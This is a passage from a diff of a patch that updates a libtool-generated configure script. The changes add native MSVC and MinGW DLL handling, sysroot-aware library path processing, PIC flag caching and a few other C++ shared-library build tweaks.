-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, CXX)='true'
-+ enable_shared_with_static_runtimes_CXX=yes
-+ # Don't use ranlib
-+ old_postinstall_cmds_CXX='chmod 644 $oldlib'
-+ postlink_cmds_CXX='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ func_to_tool_file "$lt_outputfile"~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # g++
-+ # _LT_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
-+ # as there is no search path for DLLs.
-+ hardcode_libdir_flag_spec_CXX='-L$libdir'
-+ export_dynamic_flag_spec_CXX='${wl}--export-all-symbols'
-+ allow_undefined_flag_CXX=unsupported
-+ always_export_symbols_CXX=no
-+ enable_shared_with_static_runtimes_CXX=yes
-+
-+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
-+ archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-+ # If the export-symbols file already is a .def file (1st line
-+ # is EXPORTS), use it as is; otherwise, prepend...
-+ archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ cp $export_symbols $output_objdir/$soname.def;
-+ else
-+ echo EXPORTS > $output_objdir/$soname.def;
-+ cat $export_symbols >> $output_objdir/$soname.def;
-+ fi~
-+ $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-+ else
-+ ld_shlibs_CXX=no
-+ fi
-+ ;;
-+ esac
-+ ;;
- darwin* | rhapsody*)
-
-
-@@ -13124,7 +13863,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- ;;
- *)
- if test "$GXX" = yes; then
-- archive_cmds_CXX='$RM $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ archive_cmds_CXX='$RM $output_objdir/$soname~$CC -shared -nostdlib $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
-@@ -13195,10 +13934,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
-- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
-+ archive_cmds_CXX='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
-- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
-+ archive_cmds_CXX='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- fi
-@@ -13239,9 +13978,9 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- *)
- if test "$GXX" = yes; then
- if test "$with_gnu_ld" = no; then
-- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
-- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
-+ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
- fi
- fi
- link_all_deplibs_CXX=yes
-@@ -13311,20 +14050,20 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- prelink_cmds_CXX='tpldir=Template.dir~
- rm -rf $tpldir~
- $CC --prelink_objects --instantiation_dir $tpldir $objs $libobjs $compile_deplibs~
-- compile_command="$compile_command `find $tpldir -name \*.o | $NL2SP`"'
-+ compile_command="$compile_command `find $tpldir -name \*.o | sort | $NL2SP`"'
- old_archive_cmds_CXX='tpldir=Template.dir~
- rm -rf $tpldir~
- $CC --prelink_objects --instantiation_dir $tpldir $oldobjs$old_deplibs~
-- $AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | $NL2SP`~
-+ $AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | sort | $NL2SP`~
- $RANLIB $oldlib'
- archive_cmds_CXX='tpldir=Template.dir~
- rm -rf $tpldir~
- $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~
-- $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
-+ $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | sort | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
- archive_expsym_cmds_CXX='tpldir=Template.dir~
- rm -rf $tpldir~
- $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~
-- $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
-+ $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | sort | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
- ;;
- *) # Version 6 and above use weak symbols
- archive_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
-@@ -13519,7 +14258,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- ;;
- *)
-- archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- ;;
- esac
-
-@@ -13565,7 +14304,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- solaris*)
- case $cc_basename in
-- CC*)
-+ CC* | sunCC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- archive_cmds_need_lc_CXX=yes
- no_undefined_flag_CXX=' -zdefs'
-@@ -13606,9 +14345,9 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- no_undefined_flag_CXX=' ${wl}-z ${wl}defs'
- if $CC --version | $GREP -v '^2\.7' > /dev/null; then
-- archive_cmds_CXX='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
-+ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- archive_expsym_cmds_CXX='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
-@@ -13743,6 +14482,13 @@ private:
- };
- _LT_EOF
-
-+
-+_lt_libdeps_save_CFLAGS=$CFLAGS
-+case "$CC $CFLAGS " in #(
-+*\ -flto*\ *) CFLAGS="$CFLAGS -fno-lto" ;;
-+*\ -fwhopr*\ *) CFLAGS="$CFLAGS -fno-whopr" ;;
-+esac
-+
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
-@@ -13756,7 +14502,7 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- pre_test_object_deps_done=no
-
- for p in `eval "$output_verbose_link_cmd"`; do
-- case $p in
-+ case ${prev}${p} in
-
- -L* | -R* | -l*)
- # Some compilers place space between "-{L,R}" and the path.
-@@ -13765,13 +14511,22 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- test $p = "-R"; then
- prev=$p
- continue
-- else
-- prev=
- fi
-
-+ # Expand the sysroot to ease extracting the directories later.
-+ if test -z "$prev"; then
-+ case $p in
-+ -L*) func_stripname_cnf '-L' '' "$p"; prev=-L; p=$func_stripname_result ;;
-+ -R*) func_stripname_cnf '-R' '' "$p"; prev=-R; p=$func_stripname_result ;;
-+ -l*) func_stripname_cnf '-l' '' "$p"; prev=-l; p=$func_stripname_result ;;
-+ esac
-+ fi
-+ case $p in
-+ =*) func_stripname_cnf '=' '' "$p"; p=$lt_sysroot$func_stripname_result ;;
-+ esac
- if test "$pre_test_object_deps_done" = no; then
-- case $p in
-- -L* | -R*)
-+ case ${prev} in
-+ -L | -R)
- # Internal compiler library paths should come after those
- # provided the user. The postdeps already come after the
- # user supplied libs so there is no need to process them.
-@@ -13791,8 +14546,10 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- postdeps_CXX="${postdeps_CXX} ${prev}${p}"
- fi
- fi
-+ prev=
- ;;
-
-+ *.lto.$objext) ;; # Ignore GCC LTO objects
- *.$objext)
- # This assumes that the test object file only shows up
- # once in the compiler output.
-@@ -13828,6 +14585,7 @@ else
- fi
-
- $RM -f confest.$objext
-+CFLAGS=$_lt_libdeps_save_CFLAGS
-
- # PORTME: override above test on systems where it is broken
- case $host_os in
-@@ -13863,7 +14621,7 @@ linux*)
-
- solaris*)
- case $cc_basename in
-- CC*)
-+ CC* | sunCC*)
- # The more standards-conforming stlport4 library is
- # incompatible with the Cstd library. Avoid specifying
- # it if it's in CXXFLAGS. Ignore libCrun as
-@@ -13928,8 +14686,6 @@ fi
- lt_prog_compiler_pic_CXX=
- lt_prog_compiler_static_CXX=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- # C++ specific cases for pic, static, wl, etc.
- if test "$GXX" = yes; then
-@@ -14034,6 +14790,11 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- ;;
- esac
- ;;
-+ mingw* | cygwin* | os2* | pw32* | cegcc*)
-+ # This hack is so that the source file can tell whether it is being
-+ # built for inclusion in a dll (and should export symbols for example).
-+ lt_prog_compiler_pic_CXX='-DDLL_EXPORT'
-+ ;;
- dgux*)
- case $cc_basename in
- ec++*)
-@@ -14186,7 +14947,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- ;;
- solaris*)
- case $cc_basename in
-- CC*)
-+ CC* | sunCC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- lt_prog_compiler_pic_CXX='-KPIC'
- lt_prog_compiler_static_CXX='-Bstatic'
-@@ -14251,10 +15012,17 @@ case $host_os in
- lt_prog_compiler_pic_CXX="$lt_prog_compiler_pic_CXX -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_CXX" >&5
--$as_echo "$lt_prog_compiler_pic_CXX" >&6; }
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if ${lt_cv_prog_compiler_pic_CXX+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic_CXX=$lt_prog_compiler_pic_CXX
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic_CXX" >&5
-+$as_echo "$lt_cv_prog_compiler_pic_CXX" >&6; }
-+lt_prog_compiler_pic_CXX=$lt_cv_prog_compiler_pic_CXX
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -14312,6 +15080,8 @@ fi
-
-
-
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -14489,6 +15259,7 @@ fi
- $as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-
- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms_CXX='_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'
- case $host_os in
- aix[4-9]*)
- # If we're using GNU nm, then we don't want the "-C" option.
-@@ -14503,15 +15274,20 @@ $as_echo_n "checking whether the $compiler linker ($LD) supports shared librarie
- ;;
- pw32*)
- export_symbols_cmds_CXX="$ltdll_cmds"
-- ;;
-+ ;;
- cygwin* | mingw* | cegcc*)
-- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;/^.*[ ]__nm__/s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-- ;;
-+ case $cc_basename in
-+ cl*) ;;
-+ *)
-+ export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms_CXX='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-+ ;;
-+ esac
-+ ;;
- *)
- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
-- ;;
-+ ;;
- esac
-- exclude_expsyms_CXX='_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_CXX" >&5
- $as_echo "$ld_shlibs_CXX" >&6; }
-@@ -14774,8 +15550,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -14807,13 +15584,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -14904,7 +15739,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -15363,6 +16198,7 @@ fi
- fi # test -n "$compiler"
-
- CC=$lt_save_CC
-+ CFLAGS=$lt_save_CFLAGS
- LDCXX=$LD
- LD=$lt_save_LD
- GCC=$lt_save_GCC
-@@ -18554,13 +19390,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
- lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
- lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
- lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
- reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
- reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
- OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
- deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
- file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
-+file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
-+want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
-+DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
-+sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
- AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
- AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
-+archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
- STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
- RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
- old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -18575,14 +19418,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
- lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
-+nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
-+lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
- objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
- MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
- need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
-+MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
- DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
- NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
- LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -18615,12 +19461,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
- hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
- inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
- always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
- include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
- prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
-+postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
- file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
- variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
- need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -18659,8 +19505,8 @@ old_archive_cmds_CXX='`$ECHO "$old_archive_cmds_CXX" | $SED "$delay_single_quote
- compiler_CXX='`$ECHO "$compiler_CXX" | $SED "$delay_single_quote_subst"`'
- GCC_CXX='`$ECHO "$GCC_CXX" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag_CXX='`$ECHO "$lt_prog_compiler_no_builtin_flag_CXX" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl_CXX='`$ECHO "$lt_prog_compiler_wl_CXX" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_pic_CXX='`$ECHO "$lt_prog_compiler_pic_CXX" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl_CXX='`$ECHO "$lt_prog_compiler_wl_CXX" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static_CXX='`$ECHO "$lt_prog_compiler_static_CXX" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o_CXX='`$ECHO "$lt_cv_prog_compiler_c_o_CXX" | $SED "$delay_single_quote_subst"`'
- archive_cmds_need_lc_CXX='`$ECHO "$archive_cmds_need_lc_CXX" | $SED "$delay_single_quote_subst"`'
-@@ -18687,12 +19533,12 @@ hardcode_shlibpath_var_CXX='`$ECHO "$hardcode_shlibpath_var_CXX" | $SED "$delay_
- hardcode_automatic_CXX='`$ECHO "$hardcode_automatic_CXX" | $SED "$delay_single_quote_subst"`'
- inherit_rpath_CXX='`$ECHO "$inherit_rpath_CXX" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs_CXX='`$ECHO "$link_all_deplibs_CXX" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path_CXX='`$ECHO "$fix_srcfile_path_CXX" | $SED "$delay_single_quote_subst"`'
- always_export_symbols_CXX='`$ECHO "$always_export_symbols_CXX" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds_CXX='`$ECHO "$export_symbols_cmds_CXX" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms_CXX='`$ECHO "$exclude_expsyms_CXX" | $SED "$delay_single_quote_subst"`'
- include_expsyms_CXX='`$ECHO "$include_expsyms_CXX" | $SED "$delay_single_quote_subst"`'
- prelink_cmds_CXX='`$ECHO "$prelink_cmds_CXX" | $SED "$delay_single_quote_subst"`'
-+postlink_cmds_CXX='`$ECHO "$postlink_cmds_CXX" | $SED "$delay_single_quote_subst"`'
